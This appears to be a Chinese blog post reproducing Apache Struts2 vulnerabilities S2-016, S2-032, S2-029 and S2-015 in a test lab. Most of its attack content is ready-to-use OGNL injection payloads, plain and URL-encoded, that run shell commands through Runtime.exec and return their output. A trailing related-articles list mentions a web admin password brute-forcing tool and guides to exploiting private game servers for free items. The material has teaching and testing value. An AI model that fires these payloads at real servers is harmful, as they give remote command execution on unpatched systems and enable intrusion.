Struts2漏洞复现

article/2025/9/23 7:58:33

一. S2-016复现

  1. 打开测试靶场,测试该网站存在index.action路径
  1. 漏洞原理: 参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行
  1. 测试POC:
2.1     /index.action?redirect:%25{3*4}

在这里插入图片描述

2.2     /index.action?redirect:%25%7B3*4%7D   (经Url编码)

返回12,说明命令被执行了,即存在该漏洞!
在这里插入图片描述
3. 使用K8工具测试:
在这里插入图片描述

二. S2-032复现

  1. 打开测试靶场,测试该网站存在index.action路径
  2. 漏洞原理:

Struts2在开启了动态方法调用(动态方法调用)的情况下,可以使用method:的方式来调用调用的方法,而这个方法名将进行OGNL表达式计算,导致远程命令执行漏洞

  1. 影响版本:
    Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3 和 2.3.24.3 除外)
  2. 测试POC:
?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ls

在这里插入图片描述
5. 工具测试:
在这里插入图片描述
在这里插入图片描述

三. S2-029复现

  1. 打开测试靶场,分析源代码,发现存在发送弹幕接口:

http://xx.xx.xx.xx/?message=

  1. 漏洞原理:

代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞

  1. 测试POC:
(#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()))

URL编码:

%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%69%76%61%74%65%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%50%61%74%74%65%72%6e%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%61%63%6b%61%67%65%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%6c%73%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29

在这里插入图片描述
在这里插入图片描述

四. S2-015复现

  1. 打开测试靶场:

在这里插入图片描述

  1. 漏洞原理:

Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码

  1. 影响版本:2.0.0至2.3.14.2版本。

  2. 测试POC:

${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

URL编码:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

在这里插入图片描述
命令执行成功!
5. 工具执行测试:
在这里插入图片描述


http://chatgpt.dhexx.cn/article/y0YKaHNH.shtml

相关文章

java struts2 漏洞_Struts2漏洞简述

S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止…

【渗透测试】Struts2系列漏洞

目录 🌷S2-001 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法 🌷S2-005 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法(无回显) 🌼4、验证方法&#x…

Struts2漏洞分析与复现合集

文章目录 一、基础知识Struts2简介: 二、漏洞复现1、S2-001(OGNL 循环解析导致的 RCE 漏洞)漏洞原理:影响版本:环境搭建:poc:漏洞利用: 2、S2-005(S2-003 的绕过&#xf…

框架/组件漏洞系列1:struts2漏洞汇总

前言: 本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接,文件涉及敏感无法分享,需要的可以私下给你发。 企鹅号:1404765471 首先准备 1.三台服务器(服务端服务器 微端服务器 列表服务器)推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少? 作为经典怀旧游戏,传奇赢得了许多人的青睐,在这个科技的时代,玩服已经满足不了了,多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步,因为每个GM思路不同,想法不同,他给玩家展现出来的版本也不同,就是自己玩单机也要去改,谁不想爆率高点对吧,今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏,盛大游戏公司于2001年9月发布,随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱,经历了多次升级换代,现已转变为游戏体验更加细腻的页游和手游,成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏,可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程,希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具: 1、传奇服务端(版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法: 一些人,连简单的搭建网站都不会,还要请技术帮忙,真是牛B,这里简单介绍下几种办法 一:2003系统下,直接使用IIS,这个太简单了,桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么,就想到搭一个私服游戏,学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码:https://download.csdn.net/download/qq_37258192/11997500 (重新上传了1次,积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面,一般默认的怪物爆率就已经非常不错,但根据服务器人数,有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备,控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了,但是新手还是不断的在涌入进来,想学私服技术的也很多。 今天来说一下怎么设置GM,和怎么看命了吧!本来想做一个视频的,但是我觉得这个太过简单,图文还来的简单。 《第一章&…

传奇服中怎么刷装备

记得玩传奇的时候,最大的乐趣莫过于一起PK打装备,真的是让人激情四射了,想想都有点小激动呢,呵呵!但是等了做了GM以后,这点乐趣真的没有了,感觉打装备PK没有什么意思,倒是觉得刷装备…

传奇SF刷元宝之迷失版本刷叠加材料

传奇迷失版本刷材料漏洞教学 今天给大家带来传奇迷失版刷叠加材料,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加他们所谓的群啊之类的引流罢了, 今天我给大家一个…

传奇SF刷元宝之王者荣耀版本

王者荣耀版本刷元宝卡爆率保姆级教学 王者荣耀版本刷元宝卡爆率详细教学 今天给大家带来传奇王者荣耀版本刷元宝和卡爆率的教程,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加…

网站管理后台帐号密码找回方法

站忘记密码怎么找回? 两个方法 方法一: 登录数据库,把password 下面的这一串加密串 解密一下。我至今没这样弄过,原理是这样,但是我没找到好用的md5 解密网站。一般的都要收费的。 方法二: 在数据库重置一个简单的密码&#x…

【Linux】网站后台设置及管理

文章目录 1. 进入网站后台选择管理,登陆2. 修改全局设置1) 站点信息修改2) 注册访问修改3) 内容设置3. 把网站添加到主网站上去总结1. 进入网站后台选择管理,登陆 从浏览器输入:bbs.zmkjedu.com

网站后台爆破工具:WebCrack

WebCrack简介 WebCrack是一款开源免费的web后台弱口令/万能密码批量爆破、检测工具。 不仅支持如discuz,织梦,phpmyadmin等主流CMS的后台爆破,并且对于绝大多数小众CMS甚至个人开发网站后台都有效果,只需在工具中导入后台地址即…